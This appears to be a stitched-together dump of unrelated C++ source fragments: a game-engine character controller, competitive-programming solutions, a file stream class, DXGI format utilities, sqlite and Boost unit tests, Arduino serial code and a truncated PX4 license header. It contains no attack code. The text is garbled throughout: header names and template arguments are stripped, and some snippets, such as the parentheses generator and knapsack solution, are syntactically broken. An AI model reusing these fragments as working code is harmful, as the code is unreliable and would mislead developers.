&moveVector) { if (!IsActiveInHierarchy()) { return false; } origin = GetEntity()->GetTransform()->GetOrigin(); if (moveVector.z > 0.0f) { onGround = false; isValidGroundTrace = false; } bool stuck = SlideMove(moveVector); body->SetOrigin(origin); GetEntity()->GetTransform()->SetOrigin(origin); return stuck; } void ComCharacterController::TransformUpdated(const ComTransform *transform) { if (body) { body->SetOrigin(transform->GetOrigin()); body->SetAxis(transform->GetAxis()); } } float ComCharacterController::GetMass() const { return mass; } void ComCharacterController::SetMass(const float mass) { this->mass = mass; } float ComCharacterController::GetCapsuleRadius() const { return capsuleRadius; } void ComCharacterController::SetCapsuleRadius(const float capsuleRadius) { this->capsuleRadius = capsuleRadius; } float ComCharacterController::GetCapsuleHeight() const { return capsuleHeight; } void ComCharacterController::SetCapsuleHeight(const float capsuleHeight) { this->capsuleHeight = capsuleHeight; } float ComCharacterController::GetStepOffset() const { return stepOffset; } void ComCharacterController::SetStepOffset(const float stepOffset) { this->stepOffset = stepOffset; } float ComCharacterController::GetSlopeLimit() const { return RAD2DEG(Math::ACos(slopeDotZ)); } void ComCharacterController::SetSlopeLimit(const float slopeLimit) { this->slopeDotZ = Math::Cos(DEG2RAD(slopeLimit)); } #if 1 void ComCharacterController::DrawGizmos(const RenderCamera::State &viewState, bool selected) { RenderWorld *renderWorld = GetGameWorld()->GetRenderWorld(); if (selected) { const ComTransform *transform = GetEntity()->GetTransform(); if (transform->GetOrigin().DistanceSqr(viewState.origin) < MeterToUnit(500.0f * 500.0f)) { float scaledRadius = (transform->GetScale() * capsuleRadius).MaxComponent(); float scaledHeight = transform->GetScale().z * capsuleHeight; Vec3 localCenter = Vec3(0, 0, capsuleRadius + capsuleHeight * 0.5f); Vec3 worldCenter = transform->GetMatrix() * localCenter; renderWorld->SetDebugColor(Color4::yellow, Color4::zero); renderWorld->DebugCapsuleSimple(worldCenter, transform->GetAxis(), scaledHeight, scaledRadius, 1.0f, true); } } } #endif BE_NAMESPACE_END #include using namespace std; void solve(string temp, int o, int c) { if(o==0 && c==0) { cout<o && o>=1) { string temp1=temp; temp+="("; solve(temp, o-1, c); temp1+=")"; solve(temp1, o, c-1); } else if(!o) { while(c--) temp+=")"; solve(temp, 0, 0); } return; } int main() { int t=1; // cin>>t; while(t--) { int n=3; string temp=""; solve(temp, n, n); } return 0; }#ifdef PEGASUS_OS_FREEBSD #ifndef __UNIX_PARAMETERSFORMETHOD_PRIVATE_H #define __UNIX_PARAMETERSFORMETHOD_PRIVATE_H #endif #endif PIPIKAI/ACM #include using namespace std; typedef long long ll; #define inf 0x3f3f3f #define mem(a,b) memset( a,b,sizeof a) int a[7]; int dp[500000]; int main() { std::ios::sync_with_stdio(false); int ca=0; while(1) { ca++; memset(dp,0,sizeof dp); int f[500000],cnt=0; int flag=1,sum=0; for(int i=1;i<=6;i++) { cin>>a[i]; int t=1; sum+=a[i]*i; if(a[i]!=0) { flag=0; while(a[i]>t) { f[cnt++]=t*i; a[i]-=t; t<<=1; } f[cnt++]=i*a[i]; } } if(flag) break; cout<<"Collection #"<=f[i];j--) dp[j]=max(dp[j],dp[j-f[i]]+f[i]); } if(dp[sum]==sum) cout<<"Can be divided."< fileSystem); ptr LoadStream(const String& fileName); ptr SaveStream(const String& fileName); }; END_INANITY_DATA #endif include/caller/context/error.hpp #ifndef CALLER_CONTEXT_ERROR_HPP #define CALLER_CONTEXT_ERROR_HPP #include #include CALLER_BEGIN enum ContextError { ContextCancel = 1 }; class ContextErrorCategory : public std::error_category { public: ContextErrorCategory() = default; virtual ~ContextErrorCategory() = default; virtual const char* name() const noexcept { return "caller.context"; } virtual std::string message(int e) const { if (e == ContextCancel) { return "context canceled"; } return ""; } }; inline ContextErrorCategory& getContextErrorCategory() { static ContextErrorCategory category; return category; } inline std::error_code makeContextError(ContextError e) { return std::error_code(int(e), getContextErrorCategory()); } CALLER_END #endif // CALLER_CONTEXT_ERROR_HPP #ifndef VECTORIMAGEBUILDERBASE_HPP #define VECTORIMAGEBUILDERBASE_HPP #pragma once // from VectorImage #include "IVectorImageBuilder.hpp" class Sy_PixMapType; class Sy_HatchType; class HatchObject; class Sy_HotType; class Sy_LinType; class Sy_PolyLinType; class Sy_ArcType; class Sy_SplineType; class Sy_RichTextType; class Sy_FontType; class VectorImage; class VI_DLL_CLASS_EXPORT VectorImageBuilderBase : public IVectorImageBuilder { public: virtual ~VectorImageBuilderBase (); virtual GSErrCode AddPixMap (const Sy_PixMapType& pixHeader, GSConstHandle pixMemoHdl, const char* mimeType) override; virtual GSErrCode AddHatch (Sy_HatchType& hatchRef, HatchObject& hatch, const Geometry::Vector2d* offsCo) override; virtual GSErrCode AddHotspot (const Sy_HotType& hotspot) override; virtual GSErrCode AddPolyLine (const Sy_PolyLinType& syPolyLine, const Geometry::Polyline2D& polyline) override; virtual GSErrCode AddLine (const Sy_LinType& line) override; virtual GSErrCode AddArc (const Sy_ArcType& arc) override; virtual GSErrCode AddSpline (const Sy_SplineType& spline, const char* pCoordPtr, const char* pSDirsPtr, const Geometry::Vector2d* offsCo) override; virtual GSErrCode AddRichText (const Sy_RichTextType* richtext) override; virtual GSErrCode AddFont (const Sy_FontType& font, const GS::UniString& fontName) override; private: virtual VectorImage& GetVectorImageRef () = 0; }; #endif #include using namespace std; int A(int, int); int main() { int m=NULL, n=0, count=0; while(count<=7) { cout<1-10 #include #include "Consumable.h" #include "ItemType.h" Consumable::Consumable() : Item(nullptr) { } Consumable::~Consumable() { } ItemType Consumable::getItemType() const { return ItemType::Consumable; } #include "LumiereFileStream.h" #include #include #include "Common/LumiereAssert.h" #include "Common/LumiereMemory.h" #include "Logging/LumiereLogManager.h" BEGIN_LUMIERE_NAMESPACE FileStream::FileStream(const std::string& fileName, FileAccessMode accessMode) : DataStream(fileName) , mFileStream(nullptr) , mAccessMode(accessMode) { std::ios::openmode openMode = std::ios::binary; switch (accessMode) { case FileAccessMode::READ: openMode |= std::ios::in; break; case FileAccessMode::WRITE: openMode |= std::ios::out; break; } mFileStream = LUMIERE_NEW std::fstream(fileName, openMode); if (accessMode == FileAccessMode::READ) { mFileStream->seekg(0, std::ios_base::end); setSize(static_cast(mFileStream->tellg())); mFileStream->seekg(0, std::ios_base::beg); } LUMIERE_ENSURE(mFileStream); LUMIERE_ENSURE(mAccessMode == accessMode); } FileStream::~FileStream() { LUMIERE_EXPECT(mFileStream); close(); LUMIERE_ENSURE(!mFileStream); } size_t FileStream::read(void *buffer, size_t byteSize) { LUMIERE_EXPECT(buffer); if (!isReadable()) { LUMIERE_DEBUG_FMT("fail to read file stream [{}] which is not readable", getName()); return 0; } mFileStream->read(static_cast(buffer), static_cast(byteSize)); return static_cast(mFileStream->gcount()); } size_t FileStream::write(const void *buffer, size_t byteSize) { LUMIERE_EXPECT(buffer); if (!isWriteable()) { LUMIERE_DEBUG_FMT("fail to write file stream [{}] which is not writeable", getName()); return 0; } mFileStream->write(static_cast(buffer), static_cast(byteSize)); return byteSize; } std::string FileStream::getLine() { if (!isReadable()) { LUMIERE_DEBUG_FMT("fail to read line from file stream [{}] which is not readable", getName()); return {}; } std::string line; std::getline(*mFileStream, line); return line; } bool FileStream::getLine(std::string& line) { if (!isReadable()) { LUMIERE_DEBUG_FMT("fail to read line from file stream [{}] which is not readable", getName()); return {}; } return static_cast(std::getline(*mFileStream, line)); } std::string FileStream::getAsString() { if (!isReadable()) { LUMIERE_DEBUG_FMT("fail to read line from file stream [{}] which is not readable", getName()); return {}; } std::stringstream characterStream; characterStream << mFileStream->rdbuf(); seek(getSize()); return characterStream.str(); } std::vector FileStream::getAsByteArray() { if (!isReadable()) { LUMIERE_DEBUG_FMT("fail to read line from file stream [{}] which is not readable", getName()); return {}; } auto size = getSize(); std::vector byteArray(size); mFileStream->read(byteArray.data(), size); return byteArray; } void FileStream::skip(uint64_t byteSize) { LUMIERE_EXPECT(isReadable()); if (!isReadable()) { LUMIERE_DEBUG_FMT("fail to call skip function in file stream [{}] because it is not readable", getName()); return; } mFileStream->clear(); mFileStream->seekg(static_cast(byteSize), std::ios_base::cur); } void FileStream::seek(size_t pos) { LUMIERE_EXPECT(isReadable()); if (!isReadable()) { LUMIERE_DEBUG_FMT("fail to call seek function in file stream [{}] because it is not readable", getName()); return; } mFileStream->clear(); mFileStream->seekg(static_cast(pos), std::ios_base::beg); } size_t FileStream::tell() const { LUMIERE_EXPECT(isReadable()); if (!isReadable()) { LUMIERE_DEBUG_FMT("fail to call tell function in file stream [{}] because it is not readable", getName()); return 0; } mFileStream->clear(); return static_cast(mFileStream->tellg()); } bool FileStream::eof() const { LUMIERE_EXPECT(isReadable()); if (!isReadable()) { LUMIERE_DEBUG_FMT("fail to call eof function in file stream [{}] because it is not readable", getName()); return false; } return mFileStream->eof(); } void FileStream::close() { if (mFileStream) { mFileStream->flush(); mFileStream->close(); LUMIERE_DELETE mFileStream; mFileStream = nullptr; } LUMIERE_ENSURE(!mFileStream); } bool FileStream::isReadable() const { return mAccessMode == FileAccessMode::READ; } bool FileStream::isWriteable() const { return mAccessMode == FileAccessMode::WRITE; } END_LUMIERE_NAMESPACE #include "stdafx.h" #include "utility.h" using namespace graphic; size_t graphic::BitsPerPixel(_In_ DXGI_FORMAT fmt) { switch (fmt) { case DXGI_FORMAT_R32G32B32A32_TYPELESS: case DXGI_FORMAT_R32G32B32A32_FLOAT: case DXGI_FORMAT_R32G32B32A32_UINT: case DXGI_FORMAT_R32G32B32A32_SINT: return 128; case DXGI_FORMAT_R32G32B32_TYPELESS: case DXGI_FORMAT_R32G32B32_FLOAT: case DXGI_FORMAT_R32G32B32_UINT: case DXGI_FORMAT_R32G32B32_SINT: return 96; case DXGI_FORMAT_R16G16B16A16_TYPELESS: case DXGI_FORMAT_R16G16B16A16_FLOAT: case DXGI_FORMAT_R16G16B16A16_UNORM: case DXGI_FORMAT_R16G16B16A16_UINT: case DXGI_FORMAT_R16G16B16A16_SNORM: case DXGI_FORMAT_R16G16B16A16_SINT: case DXGI_FORMAT_R32G32_TYPELESS: case DXGI_FORMAT_R32G32_FLOAT: case DXGI_FORMAT_R32G32_UINT: case DXGI_FORMAT_R32G32_SINT: case DXGI_FORMAT_R32G8X24_TYPELESS: case DXGI_FORMAT_D32_FLOAT_S8X24_UINT: case DXGI_FORMAT_R32_FLOAT_X8X24_TYPELESS: case DXGI_FORMAT_X32_TYPELESS_G8X24_UINT: //case DXGI_FORMAT_Y416: //case DXGI_FORMAT_Y210: //case DXGI_FORMAT_Y216: return 64; case DXGI_FORMAT_R10G10B10A2_TYPELESS: case DXGI_FORMAT_R10G10B10A2_UNORM: case DXGI_FORMAT_R10G10B10A2_UINT: case DXGI_FORMAT_R11G11B10_FLOAT: case DXGI_FORMAT_R8G8B8A8_TYPELESS: case DXGI_FORMAT_R8G8B8A8_UNORM: case DXGI_FORMAT_R8G8B8A8_UNORM_SRGB: case DXGI_FORMAT_R8G8B8A8_UINT: case DXGI_FORMAT_R8G8B8A8_SNORM: case DXGI_FORMAT_R8G8B8A8_SINT: case DXGI_FORMAT_R16G16_TYPELESS: case DXGI_FORMAT_R16G16_FLOAT: case DXGI_FORMAT_R16G16_UNORM: case DXGI_FORMAT_R16G16_UINT: case DXGI_FORMAT_R16G16_SNORM: case DXGI_FORMAT_R16G16_SINT: case DXGI_FORMAT_R32_TYPELESS: case DXGI_FORMAT_D32_FLOAT: case DXGI_FORMAT_R32_FLOAT: case DXGI_FORMAT_R32_UINT: case DXGI_FORMAT_R32_SINT: case DXGI_FORMAT_R24G8_TYPELESS: case DXGI_FORMAT_D24_UNORM_S8_UINT: case DXGI_FORMAT_R24_UNORM_X8_TYPELESS: case DXGI_FORMAT_X24_TYPELESS_G8_UINT: case DXGI_FORMAT_R9G9B9E5_SHAREDEXP: case DXGI_FORMAT_R8G8_B8G8_UNORM: case DXGI_FORMAT_G8R8_G8B8_UNORM: case DXGI_FORMAT_B8G8R8A8_UNORM: case DXGI_FORMAT_B8G8R8X8_UNORM: case DXGI_FORMAT_R10G10B10_XR_BIAS_A2_UNORM: case DXGI_FORMAT_B8G8R8A8_TYPELESS: case DXGI_FORMAT_B8G8R8A8_UNORM_SRGB: case DXGI_FORMAT_B8G8R8X8_TYPELESS: case DXGI_FORMAT_B8G8R8X8_UNORM_SRGB: //case DXGI_FORMAT_AYUV: //case DXGI_FORMAT_Y410: //case DXGI_FORMAT_YUY2: return 32; //case DXGI_FORMAT_P010: //case DXGI_FORMAT_P016: // return 24; case DXGI_FORMAT_R8G8_TYPELESS: case DXGI_FORMAT_R8G8_UNORM: case DXGI_FORMAT_R8G8_UINT: case DXGI_FORMAT_R8G8_SNORM: case DXGI_FORMAT_R8G8_SINT: case DXGI_FORMAT_R16_TYPELESS: case DXGI_FORMAT_R16_FLOAT: case DXGI_FORMAT_D16_UNORM: case DXGI_FORMAT_R16_UNORM: case DXGI_FORMAT_R16_UINT: case DXGI_FORMAT_R16_SNORM: case DXGI_FORMAT_R16_SINT: case DXGI_FORMAT_B5G6R5_UNORM: case DXGI_FORMAT_B5G5R5A1_UNORM: //case DXGI_FORMAT_A8P8: //case DXGI_FORMAT_B4G4R4A4_UNORM: return 16; //case DXGI_FORMAT_NV12: //case DXGI_FORMAT_420_OPAQUE: //case DXGI_FORMAT_NV11: // return 12; case DXGI_FORMAT_R8_TYPELESS: case DXGI_FORMAT_R8_UNORM: case DXGI_FORMAT_R8_UINT: case DXGI_FORMAT_R8_SNORM: case DXGI_FORMAT_R8_SINT: case DXGI_FORMAT_A8_UNORM: //case DXGI_FORMAT_AI44: //case DXGI_FORMAT_IA44: //case DXGI_FORMAT_P8: return 8; case DXGI_FORMAT_R1_UNORM: return 1; case DXGI_FORMAT_BC1_TYPELESS: case DXGI_FORMAT_BC1_UNORM: case DXGI_FORMAT_BC1_UNORM_SRGB: case DXGI_FORMAT_BC4_TYPELESS: case DXGI_FORMAT_BC4_UNORM: case DXGI_FORMAT_BC4_SNORM: return 4; case DXGI_FORMAT_BC2_TYPELESS: case DXGI_FORMAT_BC2_UNORM: case DXGI_FORMAT_BC2_UNORM_SRGB: case DXGI_FORMAT_BC3_TYPELESS: case DXGI_FORMAT_BC3_UNORM: case DXGI_FORMAT_BC3_UNORM_SRGB: case DXGI_FORMAT_BC5_TYPELESS: case DXGI_FORMAT_BC5_UNORM: case DXGI_FORMAT_BC5_SNORM: case DXGI_FORMAT_BC6H_TYPELESS: case DXGI_FORMAT_BC6H_UF16: case DXGI_FORMAT_BC6H_SF16: case DXGI_FORMAT_BC7_TYPELESS: case DXGI_FORMAT_BC7_UNORM: case DXGI_FORMAT_BC7_UNORM_SRGB: return 8; #if defined(_XBOX_ONE) && defined(_TITLE) case DXGI_FORMAT_R10G10B10_7E3_A2_FLOAT: case DXGI_FORMAT_R10G10B10_6E4_A2_FLOAT: case DXGI_FORMAT_R10G10B10_SNORM_A2_UNORM: return 32; case DXGI_FORMAT_D16_UNORM_S8_UINT: case DXGI_FORMAT_R16_UNORM_X8_TYPELESS: case DXGI_FORMAT_X16_TYPELESS_G8_UINT: return 24; case DXGI_FORMAT_R4G4_UNORM: return 8; #endif // _XBOX_ONE && _TITLE default: return 0; } } HRESULT graphic::CompileShaderFromFile(WCHAR* szFileName, LPCSTR szEntryPoint, LPCSTR szShaderModel, ID3DBlob** ppBlobOut) { HRESULT hr = S_OK; // find the file WCHAR str[MAX_PATH]; //V_RETURN(DXUTFindDXSDKMediaFileCch(str, MAX_PATH, szFileName)); wcscpy_s(str, szFileName); // open the file HANDLE hFile = CreateFile(str, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, NULL); if (INVALID_HANDLE_VALUE == hFile) return E_FAIL; // Get the file size LARGE_INTEGER FileSize; GetFileSizeEx(hFile, &FileSize); // create enough space for the file data BYTE* pFileData = new BYTE[FileSize.LowPart]; memset(pFileData, 0, FileSize.LowPart); if (!pFileData) return E_OUTOFMEMORY; // read the data in DWORD BytesRead; if (!ReadFile(hFile, pFileData, FileSize.LowPart, &BytesRead, NULL)) return E_FAIL; CloseHandle(hFile); // Compile the shader char pFilePathName[MAX_PATH]; WideCharToMultiByte(CP_ACP, 0, str, -1, pFilePathName, MAX_PATH, NULL, NULL); ID3DBlob* pErrorBlob; hr = D3DCompile(pFileData, FileSize.LowPart, pFilePathName, NULL, NULL, szEntryPoint, szShaderModel, D3D10_SHADER_ENABLE_STRICTNESS, 0, ppBlobOut, &pErrorBlob); delete[]pFileData; if (FAILED(hr)) { OutputDebugStringA((char*)pErrorBlob->GetBufferPointer()); SAFE_RELEASE(pErrorBlob); return hr; } SAFE_RELEASE(pErrorBlob); return S_OK; } void graphic::createUAV(ID3D11Device* pd3dDevice, ID3D11Buffer * buf, UINT byte_width, UINT byte_stride, ID3D11UnorderedAccessView** ppUAV, ID3D11ShaderResourceView** ppSRV) { // Create undordered access view D3D11_UNORDERED_ACCESS_VIEW_DESC uav_desc; uav_desc.Format = DXGI_FORMAT_R32_TYPELESS; uav_desc.ViewDimension = D3D11_UAV_DIMENSION_BUFFER; uav_desc.Buffer.FirstElement = 0; uav_desc.Buffer.NumElements = byte_width / 4; uav_desc.Buffer.Flags = D3D11_BUFFER_UAV_FLAG_RAW; pd3dDevice->CreateUnorderedAccessView(buf, &uav_desc, ppUAV); assert(*ppUAV); // Create shader resource view D3D11_SHADER_RESOURCE_VIEW_DESC srv_desc; srv_desc.Format = DXGI_FORMAT_R32_TYPELESS; srv_desc.ViewDimension = D3D11_SRV_DIMENSION_BUFFEREX; srv_desc.BufferEx.FirstElement = 0; srv_desc.BufferEx.NumElements = byte_width / 4; srv_desc.BufferEx.Flags = D3D11_BUFFEREX_SRV_FLAG_RAW; pd3dDevice->CreateShaderResourceView(buf, &srv_desc, ppSRV); assert(*ppSRV); } void graphic::createTextureAndViews(ID3D11Device* pd3dDevice, UINT width, UINT height, DXGI_FORMAT format, ID3D11Texture2D** ppTex, ID3D11ShaderResourceView** ppSRV, ID3D11RenderTargetView** ppRTV) { // Create 2D texture D3D11_TEXTURE2D_DESC tex_desc; tex_desc.Width = width; tex_desc.Height = height; tex_desc.MipLevels = 0; tex_desc.ArraySize = 1; tex_desc.Format = format; tex_desc.SampleDesc.Count = 1; tex_desc.SampleDesc.Quality = 0; tex_desc.Usage = D3D11_USAGE_DEFAULT; tex_desc.BindFlags = D3D11_BIND_SHADER_RESOURCE | D3D11_BIND_RENDER_TARGET; tex_desc.CPUAccessFlags = 0; tex_desc.MiscFlags = D3D11_RESOURCE_MISC_GENERATE_MIPS; pd3dDevice->CreateTexture2D(&tex_desc, NULL, ppTex); assert(*ppTex); // Create shader resource view (*ppTex)->GetDesc(&tex_desc); if (ppSRV) { D3D11_SHADER_RESOURCE_VIEW_DESC srv_desc; srv_desc.Format = format; srv_desc.ViewDimension = D3D11_SRV_DIMENSION_TEXTURE2D; srv_desc.Texture2D.MipLevels = tex_desc.MipLevels; srv_desc.Texture2D.MostDetailedMip = 0; pd3dDevice->CreateShaderResourceView(*ppTex, &srv_desc, ppSRV); assert(*ppSRV); } // Create render target view if (ppRTV) { D3D11_RENDER_TARGET_VIEW_DESC rtv_desc; rtv_desc.Format = format; rtv_desc.ViewDimension = D3D11_RTV_DIMENSION_TEXTURE2D; rtv_desc.Texture2D.MipSlice = 0; pd3dDevice->CreateRenderTargetView(*ppTex, &rtv_desc, ppRTV); assert(*ppRTV); } } #include "xsqlite3.hpp" #include "transaction.hpp" #include "gtest/gtest.h" class RecordTest : public ::testing::Test { protected: xsqlite3::Sqlite cl; RecordTest() : cl(":memory:") {} void SetUp() override { cl.ExecuteUpdate("Create table tester(a int, b text, c real);"); cl.ExecuteUpdate( "Insert into tester values(100,'asdasdasd',123123.2322);"); } void TearDown() override {} }; TEST_F(RecordTest, RecordTest_ObtainInts_Test) { auto rs = cl.Execute("select * from tester"); EXPECT_EQ(rs.get(0), 100); } TEST_F(RecordTest, RecordTest_ObtainsDoubles_Test) { auto rs = cl.Execute("select * from tester"); ASSERT_DOUBLE_EQ(rs.get(2), 123123.2322) << rs.get(2); } TEST_F(RecordTest, RecordTest_ObtainsString_Test) { auto rs = cl.Execute("select * from tester"); EXPECT_STRCASEEQ("asdasdasd", rs.get(1).c_str()); } TEST_F(RecordTest, RecordTest_Transaction_Basic) { EXPECT_NO_THROW({ xsqlite3::Transaction tx(cl); auto rs = tx.Execute("Select * from tester;"); if(rs.get(0) != 100) throw "AAA"; int a = tx.ExecuteUpdate("Insert into tester values(100,'asdasdasd',123123.2322);"); if(a != 1) throw "AAA"; }); } int main(int argc, char* argv[]) { ::testing::InitGoogleTest(&argc, argv); return RUN_ALL_TESTS(); }falgon/srookCppLibraries // Copyright (C) 2011-2020 Roki. Distributed under the MIT License #ifndef INCLUDED_SROOK_TMPL_VT_MAPD_HPP #define INCLUDED_SROOK_TMPL_VT_MAPD_HPP #ifdef _MSC_VER # if _MSC_VER > 1000 # pragma once # endif #endif #include #include #include SROOK_NESTED_NAMESPACE(srook, tmpl, vt) { SROOK_INLINE_NAMESPACE(v1) namespace detail { template struct mapD_impl; template struct mapD_impl : type_constant> {}; template struct mapD_impl : cons::result_type, SROOK_DEDUCED_TYPENAME mapD_impl::type> {}; template struct mapD_impl, XsL...> : cons::result_type, SROOK_DEDUCED_TYPENAME mapD_impl::type> {}; } // namespace detail template struct mapD : detail::mapD_impl {}; template struct mapD> : mapD {}; #if SROOK_CPP_ALIAS_TEMPLATES template using mapD_t = SROOK_DEDUCED_TYPENAME mapD::type; #endif SROOK_INLINE_NAMESPACE_END } SROOK_NESTED_NAMESPACE_END(vt, tmpl, srook) #endif #include "serial_arduino_shm.h" #include SerialArduinoShm::SerialArduinoShm ( Parameters ¶ms ) { using namespace std::placeholders; print_rx = params.print_rx; shm_ = std::shared_ptr(new tuw::shm::Objects(params.shm)); auto callback_fnc = std::bind ( &SerialArduinoShm::callback_serial, this, _1, _2 ); init (params.serial, callback_fnc ); }; void SerialArduinoShm::callback_serial ( tuw::serial::Message &header, tuw::serial::Objects & objects ) { tuw::arduino::Pose pose; std::cout << header << std::endl; for ( tuw::serial::Objects::iterator it=objects.begin(); it!=objects.end(); ++it ) { tuw::serial::Object &object = it->second; switch ( it->first ) { case tuw::serial::TYPE_ACKERMANN_CONFIG: copy2shm (object, shm_->ackermann_config); break; case tuw::serial::TYPE_MOTOR_STATE: copy2shm (object, shm_->motor_state); break; case tuw::serial::TYPE_MOTOR_PID: copy2shm (object, shm_->motor_pid); break; case tuw::serial::TYPE_SERVO_STATE: copy2shm (object, shm_->servo_state); break; case tuw::serial::TYPE_SERVO_PID: copy2shm (object, shm_->servo_pid); break; case tuw::serial::TYPE_MOTION_POSE_ESTIMATED: copy2shm (object, shm_->pose_estimated); break; case tuw::serial::TYPE_MOTION_POSE_COVARIANCE_ESTIMATED: copy2shm (object, shm_->pose_covariance_estimated); break; case tuw::serial::TYPE_IMU_ACCELEROMETER: copy2shm (object, shm_->imu_accelerometer); break; case tuw::serial::TYPE_IMU_GYROSCOPE: copy2shm (object, shm_->imu_gyroscope); break; case tuw::serial::TYPE_IMU_MAGNETOMETER: copy2shm (object, shm_->imu_magnetometer); break; case tuw::serial::TYPE_IMU_ENVIRONMENT: copy2shm (object, shm_->imu_environment); break; case tuw::serial::TYPE_TEXT: copy2shm (object, shm_->message); break; case tuw::serial::TYPE_POSE: object.get ( pose ); if(print_rx) std::cout << std::setw(30) << "Pose: " << pose << std::endl; break; default: if(print_rx) std::cout << std::setw(30) << "Type id: " << object.type << ", of size: " << object.size << std::endl; } } if(shm_->command_actuators.hasChanged()){ shm_->command_actuators.lock(); addObject ( tuw::serial::Object ( *shm_->command_actuators, tuw::serial::TYPE_COMMAND_ACTUATORS ) ); shm_->command_actuators.dataProcessed(); shm_->command_actuators.unlock(); if ( print_rx ) std::cout << std::setw ( 30 ) << shm_->command_actuators.name() << ": " << *shm_->command_actuators << std::endl; } if(shm_->command_ackermann.hasChanged()){ shm_->command_ackermann.lock(); addObject ( tuw::serial::Object ( *shm_->command_ackermann, tuw::serial::TYPE_COMMAND_ACKERMANN ) ); shm_->command_ackermann.dataProcessed(); shm_->command_ackermann.unlock(); if ( print_rx ) std::cout << std::setw ( 30 ) << shm_->command_ackermann.name() << ": " << *shm_->command_ackermann << std::endl; } shm_->oszi_motor.lock(); shm_->oszi_motor.resize(6); shm_->oszi_motor[0] = shm_->motor_state->pwm.actual; shm_->oszi_motor[1] = shm_->motor_state->pwm.target; shm_->oszi_motor[2] = shm_->motor_state->rps.actual; shm_->oszi_motor[3] = shm_->motor_state->rps.target; shm_->oszi_motor[4] = shm_->motor_state->force.actual; shm_->oszi_motor[5] = shm_->motor_state->force.target; shm_->oszi_motor.itHasChanged(); shm_->oszi_motor.unlock(); }; #include "JabberContact.h" #include "stdio.h" JabberContact::JabberContact() { fPresence = new JabberPresence(); fId = ""; } JabberContact::~JabberContact() { } void JabberContact::PrintToStream() { printf("\nJabberContact\n"); printf(" Name: %s\n",fName.String()); printf(" Group: %s\n",fGroup.String()); printf(" Jid: %s\n",fJid.String()); } void JabberContact::SetName(const BString & name) { fName = name; } void JabberContact::SetGroup(const BString & group) { fGroup = group; } void JabberContact::SetPresence(JabberPresence * presence) { //presence->PrintToStream(); //delete fPresence; fPresence = presence; } void JabberContact::SetPresence() { //fPresence->PrintToStream(); delete fPresence; fPresence = new JabberPresence(); // construct an empty JabberPresence } void JabberContact::SetJid(const BString & jid) { fJid = jid; } void JabberContact::SetSubscription(const BString & subscription) { fSubscription = subscription; } BString JabberContact::GetSubscription() const { return fSubscription; } BString JabberContact::GetName() const { return fName; } BString JabberContact::GetGroup() const { return fGroup; } JabberPresence* JabberContact::GetPresence() { return fPresence; } BString JabberContact::GetJid() const { return fJid; } #ifndef YELLOW_GEM_HPP #define YELLOW_GEM_HPP #include "gem.hpp" namespace gc_game { class YellowGem : public Gem { public: explicit YellowGem(); YellowGem(YellowGem &&) = delete; YellowGem(const YellowGem &) = delete; YellowGem &operator=(YellowGem &&) = delete; YellowGem &operator=(const YellowGem &) = delete; virtual void draw(sf::RenderTarget &, sf::RenderStates) const override; }; } // namespace gc_game #endif // YELLOW_GEM_HPPSwappyG/nilcpp #define BOOST_TEST_DYN_LINK #define BOOST_TEST_MODULE atomic_test #include "async/atomic.hpp" #include #include #include #include using namespace nil; BOOST_AUTO_TEST_CASE(BasicTest) { atomic atomic_str{"hello"}; BOOST_CHECK_EQUAL(atomic_str.peek(), "hello"); BOOST_CHECK_EQUAL(atomic_str.peek(), "hello"); atomic_str.push("yo"); BOOST_CHECK_EQUAL(atomic_str.peek(), "yo"); const auto& const_atomic_str = atomic_str; std::string str = ""; const_atomic_str.apply([&str](const auto& a_str) { str = a_str; }); BOOST_CHECK_EQUAL("yo", str); str = const_atomic_str.apply( [](const auto& a_str) { return a_str + std::string{"yo"}; }); BOOST_CHECK_EQUAL("yoyo", str); BOOST_CHECK_EQUAL("yo", atomic_str.peek()); str = atomic_str.apply([](auto& a_str) { a_str += std::string{"ho"}; return a_str; }); BOOST_CHECK_EQUAL("yoho", str); BOOST_CHECK_EQUAL("yoho", atomic_str.peek()); } BOOST_AUTO_TEST_CASE(MultithreadedTest) { nil::atomic counter{0}; nil::atomic> atomic_vec; const auto counter_max = 10000; auto func = [&]() { while (true) { auto next_val = counter.apply([](auto& ii) { ii++; return ii; }); if (next_val > counter_max) { return; } atomic_vec.apply([&](auto& vec) { vec.push_back(next_val); }); } }; auto f1 = std::async(std::launch::async, func); auto f2 = std::async(std::launch::async, func); auto f3 = std::async(std::launch::async, func); auto f4 = std::async(std::launch::async, func); f1.get(); f2.get(); f3.get(); f4.get(); auto vec = atomic_vec.peek(); BOOST_CHECK_EQUAL(std::accumulate(vec.cbegin(), vec.cend(), 0), counter_max * (counter_max + 1) / 2); }// Copyright 2020 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "lldb-eval/ast.h" namespace lldb_eval { void ErrorNode::Accept(Visitor* v) const { v->Visit(this); } void LiteralNode::Accept(Visitor* v) const { v->Visit(this); } void IdentifierNode::Accept(Visitor* v) const { v->Visit(this); } void CStyleCastNode::Accept(Visitor* v) const { v->Visit(this); } void MemberOfNode::Accept(Visitor* v) const { v->Visit(this); } void BinaryOpNode::Accept(Visitor* v) const { v->Visit(this); } void UnaryOpNode::Accept(Visitor* v) const { v->Visit(this); } void TernaryOpNode::Accept(Visitor* v) const { v->Visit(this); } } // namespace lldb_eval /**************************************************************************** * * Copyright (c) 2012-2014 PX4 Development Team. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * 3. Neither the name PX4 nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * 